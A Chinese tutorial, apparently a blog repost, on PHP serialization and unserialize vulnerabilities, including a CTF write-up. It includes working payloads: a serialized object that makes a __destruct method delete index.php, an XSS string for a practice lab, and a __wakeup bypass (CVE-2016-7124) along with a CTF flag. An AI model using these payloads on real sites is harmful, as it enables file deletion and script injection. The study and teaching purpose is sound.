您好,登錄后才能下訂單哦!
本篇內容介紹了“PHP反序列化漏洞實例分析”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
在面向對象的程序設計(Object-oriented programming,OOP)中,
對象是一個由信息及對信息進行處理的描述所組成的整體,是對現實世界的抽象。
類是一個共享相同結構和行為的對象的集合。每個類的定義都以關鍵字class開頭,后面跟著類的名字。
創建一個PHP類:
<?php class TestClass //定義一個類 { //一個變量 public $variable = 'This is a string'; //一個方法 public function PrintVariable() { echo $this->variable; } } //創建一個對象 $object = new TestClass(); //調用一個方法 $object->PrintVariable(); ?>
PHP 對屬性或方法的訪問控制,是通過在前面添加關鍵字 public(公有),protected(受保護)或 private(私有)來實現的。
public(公有):公有的類成員可以在任何地方被訪問。
protected(受保護):受保護的類成員則可以被其自身以及其子類和父類訪問。
private(私有):私有的類成員則只能被其定義所在的類訪問。
注意:訪問控制修飾符不同,序列化后屬性的長度和屬性值會有所不同,如下所示:
public:屬性被序列化的時候屬性值會變成 屬性名
protected:屬性被序列化的時候屬性值會變成 \x00*\x00屬性名
private:屬性被序列化的時候屬性值會變成 \x00類名\x00屬性名
其中:\x00
表示空字符,但是還是占用一個字符位置(空格),如下例
<?phpclass People{ public $id; protected $gender; private $age; public function __construct(){ $this->id = 'Hardworking666'; $this->gender = 'male'; $this->age = '18'; }}$a = new People();echo serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}
PHP中把以兩個下劃線__
開頭的方法稱為魔術方法(Magic methods)
PHP官方——魔術方法
PHP中16 個魔術方法詳解
類可能會包含一些特殊的函數:magic函數,這些函數在某些情況下會自動調用。
__construct() //類的構造函數,創建對象時觸發 __destruct() //類的析構函數,對象被銷毀時觸發 __call() //在對象上下文中調用不可訪問的方法時觸發 __callStatic() //在靜態上下文中調用不可訪問的方法時觸發 __get() //讀取不可訪問屬性的值時,這里的不可訪問包含私有屬性或未定義 __set() //在給不可訪問屬性賦值時觸發 __isset() //當對不可訪問屬性調用 isset() 或 empty() 時觸發 __unset() //在不可訪問的屬性上使用unset()時觸發 __invoke() //當嘗試以調用函數的方式調用一個對象時觸發 __sleep() //執行serialize()時,先會調用這個方法 __wakeup() //執行unserialize()時,先會調用這個方法 __toString() //當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用
serialize() 函數會檢查類中是否存在一個魔術方法。如果存在,該方法會先被調用,然后才執行序列化操作。
我們需要重點關注一下5個魔術方法,所以再強調一下:
__construct
:構造函數,當一個對象創建時調用
__destruct
:析構函數,當一個對象被銷毀時調用
__toString
:當一個對象被當作一個字符串時使用
__sleep
:在對象序列化的時候調用
__wakeup
:對象重新醒來,即由二進制串重新組成一個對象的時候(在一個對象被反序列化時調用)
從序列化到反序列化這幾個函數的執行過程是:
__construct()
->__sleep()
-> __wakeup()
-> __toString()
-> __destruct()
<?php class TestClass { //一個變量 public $variable = 'This is a string'; //一個方法 public function PrintVariable() { echo $this->variable.'<br />'; } //構造函數 public function __construct() { echo '__construct<br />'; } //析構函數 public function __destruct() { echo '__destruct<br />'; } //當對象被當作一個字符串 public function __toString() { return '__toString<br />'; } } //創建一個對象 //__construct會被調用 $object = new TestClass(); //創建一個方法 //‘This is a string’將會被輸出 $object->PrintVariable(); //對象被當作一個字符串 //toString會被調用 echo $object; //php腳本要結束時,__destruct會被調用 ?>
輸出結果:
__construct This is a string __toString __destruct
__toString()
這個魔術方法能觸發的因素太多,所以有必要列一下:
1. echo($obj)/print($obj)打印時會觸發 2. 反序列化對象與字符串連接時 3. 反序列化對象參與格式化字符串時 4. 反序列化對象與字符串進行==比較時(PHP進行==比較的時候會轉換參數類型) 5. 反序列化對象參與格式化SQL語句,綁定參數時 6. 反序列化對象在經過php字符串處理函數,如strlen()、strops()、strcmp()、addslashes()等 7. 在in_array()方法中,第一個參數時反序列化對象,第二個參數的數組中有__toString()返回的字符串的時候__toString()會被調用 8. 反序列化的對象作為class_exists()的參數的時候
反序列化的入口在unserialize()
,只要參數可控并且這個類在當前作用域存在,就能傳入任何已經序列化的對象,而不是局限于出現unserialize()
函數的類的對象。
如果只能局限于當前類,那攻擊面就太小了,而且反序列化其他類對象只能控制屬性,如果沒有完成反序列化后的代碼中調用其他類對象的方法,還是無法利用漏洞進行攻擊。
但是,利用魔術方法就可以擴大攻擊面,魔術方法是在該類序列化或者反序列化的同時自動完成的,這樣就可以利用反序列化中的對象屬性來操控一些能利用的函數,達到攻擊的目的。
通過下例理解魔術方法在反序列漏洞中的作用,代碼如下:
有時需要把一個對象在網絡上傳輸,為了方便傳輸,可以把整個對象轉化為二進制串,等到達另一端時,再還原為原來的對象,這個過程稱之為串行化(也叫序列化)。
json數據使用 ,
分隔開,數據內使用 :
分隔鍵和值
json數據其實就是個數組,這樣做的目的也是為了方便在前后端傳輸數據,后端接受到json數據,可以通過json_decode()
得到原數據,
這種將原本的數據通過某種手段進行"壓縮",并且按照一定的格式存儲的過程就可以稱之為序列化。
有兩種情況必須把對象序列化:
把一個對象在網絡中傳輸
把對象寫入文件或數據庫
相關概念可以參考我以前的文章:
Python序列化與反序列化詳解(包括json和json模塊詳解)
PHP序列化:把對象轉化為二進制的字符串,使用serialize()
函數
PHP反序列化:把對象轉化的二進制字符串再轉化為對象,使用unserialize()
函數
通過例子來看PHP序列化后的格式:
<?php class User { //類的數據 public $age = 0; public $name = ''; //輸出數據 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } // “.”表示字符串連接 } //創建一個對象 $usr = new User(); //設置數據 $usr->age = 18; $usr->name = 'Hardworking666'; //輸出數據 $usr->printdata(); //輸出序列化后的數據 echo serialize($usr) ?>
輸出結果:
User Hardworking666 is 18 years old. O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
就是對象user序列化后的形式。
“O”表示對象,“4”表示對象名長度為4,“User”為對象名,“2”表示有2個參數。
“{}”里面是參數的key和value,
“s”表示string對象,“3”表示長度,“age”則為key;“i”是interger(整數)對象,“18”是value,后面同理。
序列化格式:
a - array 數組型 b - boolean 布爾型 d - double 浮點型 i - integer 整數型 o - common object 共同對象 r - objec reference 對象引用 s - non-escaped binary string 非轉義的二進制字符串 S - escaped binary string 轉義的二進制字符串 C - custom object 自定義對象 O - class 對象 N - null 空 R - pointer reference 指針引用 U - unicode string Unicode 編碼的字符串
PHP序列化需注意以下幾點:
1、序列化只序列屬性,不序列方法
2、因為序列化不序列方法,所以反序列化之后如果想正常使用這個對象的話我們必須要依托這個類要在當前作用域存在的條件
3、我們能控制的只有類的屬性,攻擊就是尋找合適能被控制的屬性,利用作用域本身存在的方法,基于屬性發動攻擊
對上例進行反序列化:
<?php class User { //類的數據 public $age = 0; public $name = ''; //輸出數據 public function printdata() { echo 'User '.$this->name.' is '.$this->age.' years old.<br />'; } } //重建對象 $usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}'); //輸出數據 $usr->printdata(); ?>
User Hardworking666 is 18 years old.
_sleep
方法在一個對象被序列化時調用,_wakeup
方法在一個對象被反序列化時調用
<?phpclass test{ public $variable = '變量反序列化后都要銷毀'; //公共變量 public $variable2 = 'OTHER'; public function printvariable() { echo $this->variable.'<br />'; } public function __construct() { echo '__construct'.'<br />'; } public function __destruct() { echo '__destruct'.'<br />'; } public function __wakeup() { echo '__wakeup'.'<br />'; } public function __sleep() { echo '__sleep'.'<br />'; return array('variable','variable2'); }}//創建一個對象,回調用__construct$object = new test(); //序列化一個對象,會調用__sleep$serialized = serialize($object); //輸出序列化后的字符串print 'Serialized:'.$serialized.'<br />'; //重建對象,會調用__wakeup$object2 = unserialize($serialized); //調用printvariable,會輸出數據(變量反序列化后都要銷毀)$object2->printvariable(); //腳本結束,會調用__destruct?>
__construct __sleep Serialized:O:4:"test":2:{s:8:"variable";s:33:"變量反序列化后都要銷毀";s:9:"variable2";s:5:"OTHER";}__wakeup 變量反序列化后都要銷毀 __destruct __destruct
從序列化到反序列化這幾個函數的執行過程是:__construct()
->__sleep
-> __wakeup()
-> __toString()
-> __destruct()
PHP的序列化與反序列化其實是為了解決一個問題:PHP對象傳遞問題
PHP對象是存放在內存的堆空間段上的,PHP文件在執行結束的時候會將對象銷毀。
如果剛好要用到銷毀的對象,難道還要再寫一遍代碼?所以為了解決這個問題就有了PHP的序列化和反序列化
從上文可以發現,我們可以把一個實例化的對象長久的存儲在計算機磁盤上,需要調用的時候只需反序列化出來即可使用。
序列化和反序列化本身沒有問題,
但是反序列化內容用戶可控,
且后臺不正當的使用了PHP中的魔法函數,就會導致安全問題。
當傳給unserialize()
的參數可控時,可以通過傳入一個精心構造的序列化字符串,從而控制對象內部的變量甚至是函數。
存在漏洞的思路:一個類用于臨時將日志儲存進某個文件,當__destruct
被調用時,日志文件將會被刪除:
//logdata.php<?phpclass logfile{ //log文件名 public $filename = 'error.log'; //一些用于儲存日志的代碼 public function logdata($text) { echo 'log data:'.$text.'<br />'; file_put_contents($this->filename,$text,FILE_APPEND); } //destrcuctor 刪除日志文件 public function __destruct() { echo '__destruct deletes '.$this->filename.'file.<br />'; unlink(dirname(__FILE__).'/'.$this->filename); }}?>
調用這個類:
<?phpinclude 'logdata.php'class User{ //類數據 public $age = 0; public $name = ''; //輸出數據 public function printdata() { echo 'User '.$this->name.' is'.$this->age.' years old.<br />'; }}//重建數據$usr = unserialize($_GET['usr_serialized']);?>
代碼$usr = unserialize($_GET['usr_serialized']);
中的$_GET[‘usr_serialized’]
是可控的,那么可以構造輸入,刪除任意文件。
如構造輸入刪除目錄下的index.php文件:
<?php include 'logdata.php'; $object = new logfile(); $object->filename = 'index.php'; echo serialize($object).'<br />'; ?>
上面展示了由于輸入可控造成的__destruct
函數刪除任意文件,其實問題也可能存在于__wakeup
、__sleep
、__toString
等其他magic函數。
比如,某用戶類定義了一個__toString
,為了讓應用程序能夠將類作為一個字符串輸出(echo $object
),而且其他類也可能定義了一個類允許__toString
讀取某個文件。
XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載并執行攻擊者惡意制造的網頁程序。攻擊成功后,攻擊者可能得到包括但不限于更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。
例如,皮卡丘靶場PHP反序列化漏洞
$html="; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>錯誤輸出</p>"; }else{ $html.="<p>{$unser->test)</p>"; }
為了執行<script>alert('xss')</script>
,Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
其他知識點:
unserialize
漏洞依賴條件:
1、unserialize函數的參數可控
2、腳本中存在一個構造函數(__construct()
)、析構函數(__destruct()
)、__wakeup()
函數中有向PHP文件中寫數據的操作類
3、所寫的內容需要有對象中的成員變量的值
防范方法:
1、嚴格控制unserialize函數的參數,堅持用戶所輸入的信息都是不可靠的原則
2、對于unserialize后的變量內容進行檢查,以確定內容沒有被污染
攻防世界xctf web unserialize3
打開網址后的代碼:
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=
已知在使用 unserialize()
反序列化時會先調用 __wakeup()
函數,
而本題的關鍵就是如何 繞過 __wakeup()
函數,就是 在反序列化的時候不調用它
當 序列化的字符串中的 屬性值 個數 大于 屬性個數 就會導致反序列化異常,從而繞過 __wakeup()
代碼中的__wakeup()
方法如果使用就是和unserialize()
反序列化函數結合使用的
這里沒有特別對哪個字符串序列化,所以把xctf類實例化后,進行反序列化。
我們利用php中的new運算符,實例化類xctf。
new 是申請空間的操作符,一般用于類。
比如定義了一個 class a{public i=0;}
$c = new a();
相當于定義了一個基于a類的對象,這時候 $c->i
就是0
構造序列化的代碼在編輯器內執行:
<?php class xctf{ public $flag = '111'; //public定義flag變量公開可見 public function __wakeup(){ exit('bad requests'); } }//題目少了一個},這里補上 $a=new xctf(); echo(serialize($a)); ?>
運行結果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
序列化返回的字符串格式:
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
O
:表示序列化的是對象<length>
:表示序列化的類名稱長度<class name>
:表示序列化的類的名稱<n>
:表示被序列化的對象的屬性個數<field name 1>
:屬性名<field value 1>
:屬性值
所以要修改屬性值<n>
,既把1改為2以上。
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
在url中輸入:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}
漏洞:__wakeup
繞過(CVE-2016-7124)
CVE-2016-7124:當序列化字符串中表示對象屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行
官方給出的影響版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
“PHP反序列化漏洞實例分析”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。